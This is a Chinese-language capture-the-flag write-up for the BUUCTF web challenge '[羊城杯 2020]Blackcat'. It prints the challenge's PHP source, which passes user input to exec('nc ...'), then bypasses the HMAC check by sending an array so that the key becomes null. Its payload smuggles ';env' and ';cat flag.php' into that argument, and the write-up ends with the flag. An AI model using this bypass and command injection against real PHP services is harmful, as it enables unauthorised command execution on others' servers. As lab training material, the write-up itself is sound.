Bootstrap

84,【8】BUUCTF WEB [羊城杯 2020]Blackcat

进入靶场

音乐硬控我3分钟

回去看源码

<?php
// 检查 POST 请求中是否包含 'Black-Cat-Sheriff' 和 'One-ear' 字段
// 如果任意一个字段为空,则输出错误信息并终止脚本执行
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('请提供 Black-Cat-Sheriff 和 One-ear 参数');
}

// 从环境变量中获取 'clandestine' 的值
$clandestine = getenv("clandestine");

// 检查 POST 请求中是否包含 'White-cat-monitor' 字段
if(isset($_POST['White-cat-monitor'])) {
    // 如果存在 'White-cat-monitor' 字段,使用 HMAC-SHA256 算法对其进行哈希处理
    // 哈希的密钥为之前从环境变量获取的 $clandestine
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
}

// 使用 HMAC-SHA256 算法对 'One-ear' 字段的值进行哈希处理
// 哈希的密钥为更新后的 $clandestine
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较哈希结果 $hh 和 POST 请求中的 'Black-Cat-Sheriff' 字段的值
// 如果不相等,则输出错误信息并终止脚本执行
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('哈希验证失败');
}

// 如果哈希验证通过,则执行系统命令
// 这里尝试执行 'nc' 命令并将 'One-ear' 字段的值作为参数传递
// 此操作存在严重安全风险,因为可能导致命令注入攻击
echo exec("nc " . $_POST['One-ear']);
?>

开始解题

<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

运行得到04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6PHP

<?php
 
var_dump(hash_hmac('sha256', ";env", NULL));
 
?>

运行得到afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最终组成payload:White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

传post类型时可以用插件或BP

我用BP更方便一点

flag{4117c718-7501-4c0c-827e-323a8d9ea551} 

;